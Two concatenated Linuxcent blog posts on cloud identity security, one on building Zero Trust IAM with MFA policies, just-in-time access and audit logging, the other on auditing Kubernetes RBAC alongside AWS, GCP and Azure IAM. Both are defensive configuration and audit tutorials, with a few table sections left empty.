The perimeter model failed not because the walls weren’t strong enough, but because the premise was wrong. There is no inside. There is no perimeter that reliably separates trusted from untrusted. In a world of remote work, cloud services, contractor access, and API integrations, the attack surface doesn’t respect network boundaries.

Zero Trust is the architecture built on a different premise: trust nothing implicitly. Verify everything explicitly. Minimize blast radius by assuming you will be breached.

This isn’t a product you buy. It’s a set of principles applied to how you design, build, and operate your IAM. This episode is how those principles translate to concrete practices — building on everything we’ve covered in this series.

The Three Principles

Verify Explicitly

Every request must carry verifiable identity and context. Network location is not identity.

Old model: request from 10.0.0.0/8 → trusted, proceed
Zero Trust: request from 10.0.0.0/8 → still must present verifiable identity
                                       still must pass authorization check
                                       still must pass context evaluation
                                       then proceed (or deny)

In cloud IAM terms: every API call carries identity claims (IAM role ARN, federated identity, managed identity), and those claims are verified against policy on every single request. There’s no concept of “once authenticated, trusted until logout.” In cloud IAM, this already exists natively. Every API call is authenticated and authorized independently. The challenge is extending this model to internal services, internal APIs, and human access patterns.

Implementation in practice:
– mTLS for service-to-service communication — both sides present certificates; identity is the certificate, not the network path
– Bearer tokens on every internal API call — no session cookies, no “we’re on the same VPC so it’s fine”
– Short-lived credentials everywhere — a compromised credential expires, not “after the session times out in 8 hours”

Use Least Privilege — Just-in-Time, Just-Enough

No standing access to sensitive resources. Access granted when needed, for the minimum scope, for the minimum duration.

Old model: alice is in the DBA group → permanent access to all databases
Zero Trust: alice requests access to production DB →
            verified: alice's device is enrolled in MDM and compliant
            verified: alice has an open change ticket for this task
            verified: current time is within business hours
            granted: connection to this specific database, from alice's specific IP
                     for 2 hours, then revoked automatically

This is JIT access. It reduces the window where a compromised credential can cause damage. It requires a change in how engineers think about access: access is not a property you have, it’s something you request when you need it. The operational friction is a feature, not a bug. Justifying each elevated access request is what keeps the access model honest.

Assume Breach

Design systems as if the attacker is already inside. This drives different decisions:

• Micro-segmentation: one role per service, minimum permissions per role. If one service is compromised, it can’t pivot to everything else.
• Log everything: every authorization decision, allow or deny. When you’re investigating an incident, you need to know what happened, not just that something happened.
• Automate response: anomalous API call pattern → trigger automated credential revocation or session termination. Don’t wait for a human to notice.

Building Zero Trust IAM — Block by Block

Block 1: Strong Identity Foundation

You can’t verify explicitly without strong authentication. The starting point:

# AWS: require MFA for all IAM operations — enforce via SCP across the org
{
  "Effect": "Deny",
  "Action": "*",
  "Resource": "*",
  "Condition": {
    "BoolIfExists": {
      "aws:MultiFactorAuthPresent": "false"
    },
    "StringNotLike": {
      "aws:PrincipalArn": [
        "arn:aws:iam::*:role/AWSServiceRole*",
        "arn:aws:iam::*:role/OrganizationAccountAccessRole"
      ]
    }
  }
}

# GCP: enforce OS Login for VM SSH (ties SSH access to Google identity, not SSH keys)
gcloud compute project-info add-metadata \
  --metadata enable-oslogin=TRUE

# This means: SSH to a VM requires your Google identity to have roles/compute.osLogin
# or roles/compute.osAdminLogin. No more managing ~/.authorized_keys files on instances.

For human access: hardware FIDO2 keys (YubiKey, Google Titan) rather than TOTP where possible. TOTP codes can be phished in real-time adversary-in-the-middle attacks. Hardware keys cannot — the cryptographic challenge-response is bound to the origin URL.

Block 2: Device Posture as an Access Signal

In a Zero Trust model, the identity of the user is necessary but not sufficient. The state of the device matters too — a compromised endpoint with valid credentials is still a threat.

# Azure Conditional Access: block access from non-compliant devices
# (configures in Entra ID Conditional Access portal)
conditions:
  clientAppTypes: [browser, mobileAppsAndDesktopClients]
  devices:
    deviceFilter:
      mode: exclude
      rule: "device.isCompliant -eq True and device.trustType -eq 'AzureAD'"
grantControls:
  builtInControls: [compliantDevice]

# AWS Verified Access: identity + device posture for application access — no VPN
aws ec2 create-verified-access-instance \
  --description "Zero Trust app access"

# Attach identity trust provider (Okta OIDC)
aws ec2 create-verified-access-trust-provider \
  --trust-provider-type user \
  --user-trust-provider-type oidc \
  --oidc-options IssuerURL=https://company.okta.com,ClientId=...,ClientSecret=...,Scope=openid

# Attach device trust provider (Jamf, Intune, or CrowdStrike)
aws ec2 create-verified-access-trust-provider \
  --trust-provider-type device \
  --device-trust-provider-type jamf \
  --device-options TenantId=JAMF_TENANT_ID

AWS Verified Access allows users to reach internal applications by verifying both their identity (via OIDC) and their device health (via MDM) — without a VPN. The access gateway evaluates both signals on every connection, not just at login.

Block 3: Just-in-Time Privilege Elevation

No standing elevated access. Engineers are eligible for elevated roles; they activate them when needed.

# Azure PIM: engineer activates an eligible privileged role
az rest --method POST \
  --uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignmentScheduleRequests" \
  --body '{
    "action": "selfActivate",
    "principalId": "USER_OBJECT_ID",
    "roleDefinitionId": "ROLE_DEF_ID",
    "directoryScopeId": "/",
    "justification": "Investigating security alert in tenant — incident ticket INC-2026-0411",
    "scheduleInfo": {
      "startDateTime": "2026-04-11T09:00:00Z",
      "expiration": {"type": "AfterDuration", "duration": "PT4H"}
    }
  }'
# Access activates, lasts 4 hours, then automatically removed

# AWS: temporary account assignment via Identity Center
# (typically triggered by ITSM workflow integration, not manual CLI)
aws sso-admin create-account-assignment \
  --instance-arn "arn:aws:sso:::instance/ssoins-xxx" \
  --target-id ACCOUNT_ID \
  --target-type AWS_ACCOUNT \
  --permission-set-arn "arn:aws:sso:::permissionSet/ssoins-xxx/ps-yyy" \
  --principal-type USER \
  --principal-id USER_ID

# Schedule deletion (using EventBridge + Lambda in a real deployment)
aws sso-admin delete-account-assignment \
  --instance-arn "arn:aws:sso:::instance/ssoins-xxx" \
  --target-id ACCOUNT_ID \
  --target-type AWS_ACCOUNT \
  --permission-set-arn "arn:aws:sso:::permissionSet/ssoins-xxx/ps-yyy" \
  --principal-type USER \
  --principal-id USER_ID

The operational change this requires: engineers stop thinking of access as something they hold permanently and start thinking of it as something they request for a specific purpose.

This feels like friction until you’re investigating an incident and you have a precise record of who activated what elevated access and why.

Block 4: Continuous Session Validation

Traditional auth: verify once at login, trust the session until timeout.
Zero Trust auth: re-evaluate access signals continuously throughout the session.

Session starts: identity verified + device compliant + IP in expected range
                → access granted

15 minutes later: impossible travel detected (IP changes to different country)
                  → step-up authentication required, or session terminated

Later: device compliance state changes (EDR detects malware)
       → all active sessions for this device revoked immediately

This requires integration between your identity platform and your device management / EDR tooling. Entra ID Conditional Access with Continuous Access Evaluation (CAE) implements this natively. When certain events occur — device compliance change, IP anomaly, token revocation — access tokens are invalidated within minutes rather than waiting for natural expiry.

// GCP: bind IAM access to an Access Context Manager access level
// Access level enforces device compliance — if device falls out of compliance,
// the access level is no longer satisfied and requests fail immediately
gcloud projects add-iam-policy-binding my-project \
  --member="user:alice@company.com" \
  --role="roles/bigquery.admin" \
  --condition="expression=request.auth.access_levels.exists(x, x == 'accessPolicies/POLICY_NUM/accessLevels/corporate_compliant_device'),title=Compliant device required"

Block 5: Micro-Segmented Permissions

Every service has its own identity. Every identity has only what it needs. Compromise of one service cannot propagate to others.

# Terraform: IAM as code — each service gets a dedicated, scoped role
resource "aws_iam_role" "order_processor" {
  name                 = "svc-order-processor"
  permissions_boundary = aws_iam_policy.service_boundary.arn

  assume_role_policy = jsonencode({
    Version = "2012-10-17"
    Statement = [{
      Effect    = "Allow"
      Principal = { Service = "lambda.amazonaws.com" }
      Action    = "sts:AssumeRole"
    }]
  })
}

resource "aws_iam_role_policy" "order_processor" {
  name   = "order-processor-policy"
  role   = aws_iam_role.order_processor.id
  policy = jsonencode({
    Version = "2012-10-17"
    Statement = [
      {
        Effect   = "Allow"
        Action   = ["sqs:ReceiveMessage", "sqs:DeleteMessage", "sqs:GetQueueAttributes"]
        Resource = aws_sqs_queue.orders.arn
      },
      {
        Effect   = "Allow"
        Action   = ["dynamodb:PutItem", "dynamodb:GetItem", "dynamodb:UpdateItem"]
        Resource = aws_dynamodb_table.orders.arn
      }
    ]
  })
}

# Open Policy Agent: enforce IAM standards at the policy level
# Run this in CI/CD — fail the build if any policy statement has wildcard actions
package iam.policy

deny[msg] {
  input.Statement[i].Effect == "Allow"
  input.Statement[i].Action == "*"
  msg := sprintf("Statement %d has wildcard Action — not allowed", [i])
}

deny[msg] {
  input.Statement[i].Effect == "Allow"
  input.Statement[i].Resource == "*"
  endswith(input.Statement[i].Action, "Delete")
  msg := sprintf("Statement %d allows Delete on all resources — requires specific ARN", [i])
}

Block 6: Universal Audit Trail

Zero Trust without logging is just obscurity. Every authorization decision — allow and deny — must be logged, retained, and queryable.

# AWS: verify CloudTrail is comprehensive
aws cloudtrail get-trail-status --name management-trail
# Must have: LoggingEnabled=true, IsMultiRegionTrail=true, IncludeGlobalServiceEvents=true

# Verify no management events are excluded
aws cloudtrail get-event-selectors --trail-name management-trail \
  | jq '.EventSelectors[] | {ReadWrite: .ReadWriteType, Mgmt: .IncludeManagementEvents}'
# ReadWriteType should be "All"; IncludeManagementEvents should be true

# GCP: ensure Data Access audit logs are enabled for IAM
gcloud projects get-iam-policy my-project --format=json | jq '.auditConfigs'
# Should see auditLogConfigs for cloudresourcemanager.googleapis.com and iam.googleapis.com
# with both DATA_READ and DATA_WRITE enabled

# Azure: route Entra ID logs to Log Analytics for long-term retention and querying
az monitor diagnostic-settings create \
  --name entra-audit-to-la \
  --resource "/tenants/TENANT_ID/providers/microsoft.aad/domains/company.com" \
  --logs '[{"category":"AuditLogs","enabled":true},{"category":"SignInLogs","enabled":true}]' \
  --workspace /subscriptions/SUB_ID/resourceGroups/rg-monitoring/providers/Microsoft.OperationalInsights/workspaces/security-logs

Framework Alignment

Zero Trust IAM isn’t a framework itself — it’s a design philosophy. But it maps cleanly onto the controls that compliance frameworks are pushing organizations toward:

Zero Trust Maturity — Where to Start

In practice, most organizations think about Zero Trust as a destination — a large, multi-year program. The reality is it’s a direction. Any movement in that direction reduces risk.

The jump from Level 1 to Level 3 delivers the most security value per unit of effort. Start there. Don’t defer least privilege enforcement while you build a sophisticated device posture integration.

The Practical Sequence

If you’re building Zero Trust IAM from where most organizations are, this is the order that maximizes early security value:

1. Inventory all identities — human and machine. You cannot secure what you can’t see. Build a complete picture before changing anything.

2. Eliminate static credentials for machines — replace access keys and SA key files with workload identity. This is the highest-ROI change in most environments.

3. Enforce MFA for all human access — especially cloud consoles, IdP admin, and VPN. Hardware keys for privileged accounts.

4. Federate human identity — single IdP, SSO to cloud and major applications. Centralize the revocation path.

5. Right-size IAM permissions — use last-accessed data and IAM Recommender to find and remove unused permissions. This is a continuous discipline, not a one-time clean-up.

6. JIT for privileged access — Azure PIM, AWS Identity Center assignment automation, or equivalent for all elevated roles. No standing admin.

7. IAM as code — all IAM changes via Terraform/Pulumi/CDK, reviewed in pull requests, validated by Access Analyzer or OPA in CI/CD, applied through automation.

8. Continuous monitoring — alerts on IAM mutations, anomalous API call patterns, new cross-account trust relationships, new public resource exposures.

9. Add context signals — Conditional Access policies incorporating device posture. Access Context Manager in GCP. AWS Verified Access for application access.

10. Automated response — anomaly detected → automatic credential suspension or session termination. Close the window between detection and containment.

Core Curriculum Complete

These twelve episodes covered Cloud IAM from the question “what even is IAM?” to Zero Trust architecture:

IAM is not a feature you configure. It’s a practice you maintain. The organizations that operate with genuinely low cloud IAM risk don’t have fewer identities — they have better visibility into what those identities can do, and why, and what happened when something went wrong.

That’s the foundation this series has been building toward — but the curriculum doesn’t stop here. AWS, GCP, and Azure ship new services constantly, and every new service ships new IAM permissions. Scoping a policy correctly on day one is a different skill than auditing it after the fact — that’s where this series goes next.

The full series is at linuxcent.com/cloud-iam-series. Subscribe to get new Cloud IAM episodes as new cloud permissions land — plus the eBPF series running in parallel, covering what’s actually running in kernel space when Cilium, Falco, and Tetragon do their work.

Subscribe → linuxcent.com/subscribe

The post Zero Trust Access in the Cloud: How the Evaluation Loop Actually Works appeared first on Linuxcent.

What Is Cloud IAM → Authentication vs Authorization → IAM Roles vs Policies → AWS IAM Deep Dive → GCP Resource Hierarchy IAM → Azure RBAC Scopes → OIDC Workload Identity → AWS IAM Privilege Escalation → AWS Least Privilege Audit → SAML vs OIDC Federation → Kubernetes RBAC and AWS IAM

TL;DR

• Kubernetes RBAC and cloud IAM are separate authorization layers — strong cloud IAM with weak Kubernetes RBAC is still a vulnerable cluster
• cluster-admin ClusterRoleBindings are the first thing to audit — a compromised pod with cluster-admin controls the entire cluster
• Disable automountServiceAccountToken on pods that don’t call the Kubernetes API — most application pods don’t need it mounted
• Use OIDC for human access instead of X.509 client certificates — client certs cannot be revoked without rotating the CA
• Bind groups from IdP, not individual usernames — revocation propagates automatically when someone leaves
• A ServiceAccount that can create pods or create rolebindings is a privilege escalation path: the same class of risk as iam:PassRole

The Big Picture

  TWO AUTHORIZATION LAYERS — NEITHER COMPENSATES FOR THE OTHER

  ┌─────────────────────────────────────────────────────────────────┐
  │  CLOUD IAM LAYER  (AWS IAM / GCP IAM / Azure RBAC)             │
  │  Controls: S3, DynamoDB, Lambda, RDS, cloud services           │
  │  Human: federated identity from IdP (SAML / OIDC)             │
  │  Machine: IRSA annotation → IAM role / GKE WI / AKS WI        │
  │  Audit: CloudTrail, GCP Audit Logs, Azure Monitor              │
  └─────────────────────────────────────────────────────────────────┘
           ↕ separate systems — no inheritance in either direction
  ┌─────────────────────────────────────────────────────────────────┐
  │  KUBERNETES RBAC LAYER  (within the cluster)                   │
  │  Controls: pods, secrets, deployments, configmaps, namespaces  │
  │  Human: OIDC groups → ClusterRoleBinding (or RoleBinding)      │
  │  Machine: ServiceAccount → Role / ClusterRole                  │
  │  Audit: kube-apiserver audit log                               │
  └─────────────────────────────────────────────────────────────────┘

  Attack path: exploit app pod → SA has cluster-admin → own the cluster
  Audit finding: cluster-admin on app SA, regardless of cloud IAM posture

Introduction

I spent a long time in Kubernetes environments thinking cloud IAM and Kubernetes RBAC were related in a way that meant securing one partially covered the other. They don’t. They’re separate authorization systems that happen to share infrastructure.

The moment this crystallized for me: I was auditing an EKS cluster for a fintech company. Their AWS IAM posture was actually quite good — least privilege roles, no wildcard policies, SCPs in place at the org level. I was about to give them a clean bill of health when I ran one command:

kubectl get clusterrolebindings -o json | \
  jq '.items[] | select(.roleRef.name=="cluster-admin") | {name:.metadata.name, subjects:.subjects}'

The output showed five ClusterRoleBindings to cluster-admin. Two of them bound it to service accounts in production namespaces. One of those service accounts was used by an application that processed customer transactions.

cluster-admin in Kubernetes is the equivalent of AdministratorAccess in AWS. An attacker who compromises a pod running as that service account doesn’t just have access to the application’s data. They have control of the entire cluster: reading every secret in every namespace, deploying arbitrary workloads, modifying RBAC bindings to create persistence.

None of this showed up in the AWS IAM audit. AWS IAM and Kubernetes RBAC are separate systems. Securing one tells you nothing about the other.

Kubernetes RBAC Architecture

Kubernetes RBAC works with four object types:

Subjects — the identities that receive the binding — are:
– User: an external identity (Kubernetes has no native user objects; users come from the authenticator)
– Group: a group of external identities
– ServiceAccount: a Kubernetes-native machine identity, namespaced

The scoping matters. A ClusterRole defines what permissions exist. A RoleBinding applies that ClusterRole within a single namespace. A ClusterRoleBinding applies it everywhere. The same permissions, dramatically different blast radius.

Roles and ClusterRoles

# Role: read pods and their logs — scoped to the default namespace only
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  namespace: default
  name: pod-reader
rules:
- apiGroups: [""]          # "" = core API group (pods, secrets, configmaps, etc.)
  resources: ["pods", "pods/log"]
  verbs: ["get", "list", "watch"]

# ClusterRole: manage Deployments across all namespaces
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: deployment-manager
rules:
- apiGroups: ["apps"]
  resources: ["deployments", "replicasets"]
  verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["get", "list", "watch"]

The verbs map to HTTP methods against the Kubernetes API: get reads a specific resource, list returns a collection, watch streams changes, create/update/patch/delete are mutations.

One that consistently surprises people: list on secrets returns secret values in some Kubernetes versions and configurations. You might think “list” is just metadata, but listing secrets can include their data. If a service account needs to check whether a secret exists, grant get on the specific secret name. Avoid list on the secrets resource.

The Wildcard Risk

# This is effectively cluster-admin in the default namespace — avoid
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]

Any * in RBAC rules is an audit finding. In practice I find wildcards most often in:
– Operator and controller service accounts (understandable, but worth reviewing)
– “Temporary” RBAC that became permanent
– Developer tooling given cluster-admin “because it was easier”

Run this to find all ClusterRoles with wildcard verbs:

kubectl get clusterroles -o json | \
  jq '.items[] | select(.rules[]?.verbs[] == "*") | .metadata.name'

Bindings — Connecting Identities to Roles

# RoleBinding: alice can read pods in the default namespace
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: alice-pod-reader
  namespace: default
subjects:
- kind: User
  name: alice@company.com
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: Role
  name: pod-reader
  apiGroup: rbac.authorization.k8s.io

# ClusterRoleBinding: Prometheus can read cluster-wide (monitoring use case)
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: prometheus-cluster-reader
subjects:
- kind: ServiceAccount
  name: prometheus
  namespace: monitoring
roleRef:
  kind: ClusterRole
  name: view
  apiGroup: rbac.authorization.k8s.io

An important pattern: a RoleBinding can reference a ClusterRole. This lets you define a role once at the cluster level (the ClusterRole) and bind it within specific namespaces through RoleBindings. The permissions are still scoped to the namespace where the RoleBinding lives. This is the right pattern for shared role definitions — define the permission set once, instantiate it with appropriate scope.

Default to RoleBinding over ClusterRoleBinding for namespace-scoped work. ClusterRoleBinding should be reserved for genuinely cluster-wide operations: monitoring agents, network plugins, cluster operators, security tooling.

Service Accounts — The Machine Identity in Kubernetes

Every pod in Kubernetes runs as a service account. If you don’t specify one, it uses the default service account in the pod’s namespace.

The default service account is where many RBAC misconfigurations accumulate. When someone creates a RoleBinding without thinking about which SA to use, they often bind the permission to default. Now every pod in that namespace that doesn’t explicitly set a service account — including pods deployed by developers who aren’t thinking about RBAC — inherits that binding.

# Create a dedicated SA for each application
kubectl create serviceaccount app-backend -n production

# Check what any SA can currently do — use this in every audit
kubectl auth can-i --list --as=system:serviceaccount:production:app-backend -n production

# Check a specific action
kubectl auth can-i get secrets \
  --as=system:serviceaccount:production:app-backend -n production

kubectl auth can-i create pods \
  --as=system:serviceaccount:production:app-backend -n production

Disable Auto-Mounting the SA Token

By default, Kubernetes mounts the service account token into every pod at /var/run/secrets/kubernetes.io/serviceaccount/token. A pod that doesn’t need to call the Kubernetes API doesn’t need this token. Having it mounted increases the blast radius if the pod is compromised — the token can be used to call the K8s API with whatever RBAC permissions the SA has.

# Disable at the pod level
apiVersion: v1
kind: Pod
spec:
  automountServiceAccountToken: false
  serviceAccountName: app-backend
  containers:
  - name: app
    image: my-app:latest

# Or at the service account level (applies to all pods using this SA)
apiVersion: v1
kind: ServiceAccount
metadata:
  name: app-backend
  namespace: production
automountServiceAccountToken: false

For most application pods — anything that isn’t a Kubernetes operator, controller, or management tool — the K8s API token is unnecessary. Disable it.

Human Access to Kubernetes — Get Off Client Certificates

Kubernetes doesn’t manage human users natively. Authentication is delegated to an external mechanism. The most common approaches:

X.509 certificates are the bootstrap pattern. Every managed Kubernetes offering generates an admin kubeconfig with a client certificate. The problem: you can’t revoke individual certificates without rotating the CA. If you’re giving human engineers access via client certificates, someone leaving doesn’t actually lose cluster access until the certificate expires.

OIDC is the right model. Configure the kube-apiserver to accept JWTs from your IdP, bind RBAC permissions to groups from the IdP, and revocation becomes “remove from IdP group” rather than “hope the certificate expires soon”:

# kube-apiserver flags for OIDC (managed clusters configure this via provider settings)
--oidc-issuer-url=https://accounts.google.com
--oidc-client-id=my-cluster-client-id
--oidc-username-claim=email
--oidc-groups-claim=groups
--oidc-groups-prefix=oidc:

# User's kubeconfig — uses an exec plugin to fetch an OIDC token
users:
- name: alice
  user:
    exec:
      apiVersion: client.authentication.k8s.io/v1beta1
      command: kubectl-oidc-login
      args:
        - get-token
        - --oidc-issuer-url=https://dex.company.com
        - --oidc-client-id=kubernetes

With managed clusters:

# EKS: add IAM role as a cluster access entry (replaces the aws-auth ConfigMap)
aws eks create-access-entry \
  --cluster-name my-cluster \
  --principal-arn arn:aws:iam::123456789012:role/DevTeamRole \
  --type STANDARD

aws eks associate-access-policy \
  --cluster-name my-cluster \
  --principal-arn arn:aws:iam::123456789012:role/DevTeamRole \
  --policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSViewPolicy \
  --access-scope type=namespace,namespaces=production,staging

# GKE: get credentials; IAM roles map to cluster permissions
gcloud container clusters get-credentials my-cluster --region us-central1
# roles/container.developer → edit permissions
# But: use ClusterRoleBindings for fine-grained control rather than relying on GCP IAM roles

# AKS: bind Entra ID groups to Kubernetes RBAC
az aks get-credentials --name my-aks --resource-group rg-prod
kubectl create clusterrolebinding dev-team-view \
  --clusterrole=view \
  --group=ENTRA_GROUP_OBJECT_ID

Cloud IAM + Kubernetes RBAC: The Integration Points

EKS Pod Identity / IRSA (revisited)

The annotation on the Kubernetes ServiceAccount is the bridge:

apiVersion: v1
kind: ServiceAccount
metadata:
  name: app-backend
  namespace: production
  annotations:
    eks.amazonaws.com/role-arn: arn:aws:iam::123456789012:role/AppBackendRole

Kubernetes RBAC controls what the pod can do inside the cluster. The IAM role controls what the pod can do in AWS. Both must be explicitly granted; neither inherits from the other.

GKE Workload Identity

apiVersion: v1
kind: ServiceAccount
metadata:
  name: app-backend
  namespace: production
  annotations:
    iam.gke.io/gcp-service-account: app-backend@my-project.iam.gserviceaccount.com

AKS Workload Identity

apiVersion: v1
kind: ServiceAccount
metadata:
  name: app-backend
  namespace: production
  annotations:
    azure.workload.identity/client-id: "MANAGED_IDENTITY_CLIENT_ID"
---
apiVersion: v1
kind: Pod
metadata:
  labels:
    azure.workload.identity/use: "true"
spec:
  serviceAccountName: app-backend

RBAC Audit — What to Check First

# Start here: who has cluster-admin?
kubectl get clusterrolebindings -o json | \
  jq '.items[] | select(.roleRef.name=="cluster-admin") | 
      {binding: .metadata.name, subjects: .subjects}'
# cluster-admin should bind to almost nobody — review every result

# Find ClusterRoles with wildcard permissions
kubectl get clusterroles -o json | \
  jq '.items[] | select(.rules[]?.verbs[]? == "*") | .metadata.name'

# What can the default SA do in each namespace?
for ns in $(kubectl get namespaces -o name | cut -d/ -f2); do
  echo "=== $ns ==="
  kubectl auth can-i --list --as=system:serviceaccount:${ns}:default -n ${ns} 2>/dev/null \
    | grep -v "no" | head -10
done

# What can a specific SA do?
kubectl auth can-i --list \
  --as=system:serviceaccount:production:app-backend \
  -n production

# Check whether an SA can escalate — key risk indicators
kubectl auth can-i get secrets -n production \
  --as=system:serviceaccount:production:app-backend
kubectl auth can-i create pods -n production \
  --as=system:serviceaccount:production:app-backend
kubectl auth can-i create rolebindings -n production \
  --as=system:serviceaccount:production:app-backend

Creating pods and creating rolebindings are privilege escalation primitives. A service account that can create pods can run a pod with a different, more powerful SA. A service account that can create rolebindings can grant itself more permissions.

Useful Tools

# rbac-tool — visualize and analyze RBAC (install: kubectl krew install rbac-tool)
kubectl rbac-tool viz                              # generate a graph of all bindings
kubectl rbac-tool who-can get secrets -n production
kubectl rbac-tool lookup alice@company.com

# rakkess — access matrix for a subject
kubectl rakkess --sa production:app-backend

# audit2rbac — generate minimal RBAC from audit logs
audit2rbac --filename /var/log/kubernetes/audit.log \
  --serviceaccount production:app-backend

Common RBAC Misconfigurations

Framework Alignment

Key Takeaways

• Kubernetes RBAC and cloud IAM are separate authorization layers — both must be secured; strong cloud IAM with weak K8s RBAC is still a vulnerable cluster
• cluster-admin bindings are the first thing to audit in any cluster — the blast radius of a compromised pod with cluster-admin is the entire cluster
• Disable automountServiceAccountToken on service accounts and pods that don’t call the Kubernetes API — most application pods don’t need it
• Use OIDC for human access rather than client certificates; revocation via IdP is instant and reliable
• Bind groups from IdP rather than individual usernames; revocation propagates automatically when someone leaves
• A service account that can create pods or create rolebindings is a privilege escalation path — audit for these in every namespace

What’s Next

EP12 is the capstone: Zero Trust IAM — how all the concepts in this series come together into an architecture that assumes nothing is implicitly trusted, verifies everything explicitly, and limits blast radius through least privilege enforced at every layer.

Next: Zero trust access in the cloud

Get EP12 in your inbox when it publishes → linuxcent.com/subscribe

The post Kubernetes RBAC and AWS IAM: The Two-Layer Access Model for EKS appeared first on Linuxcent.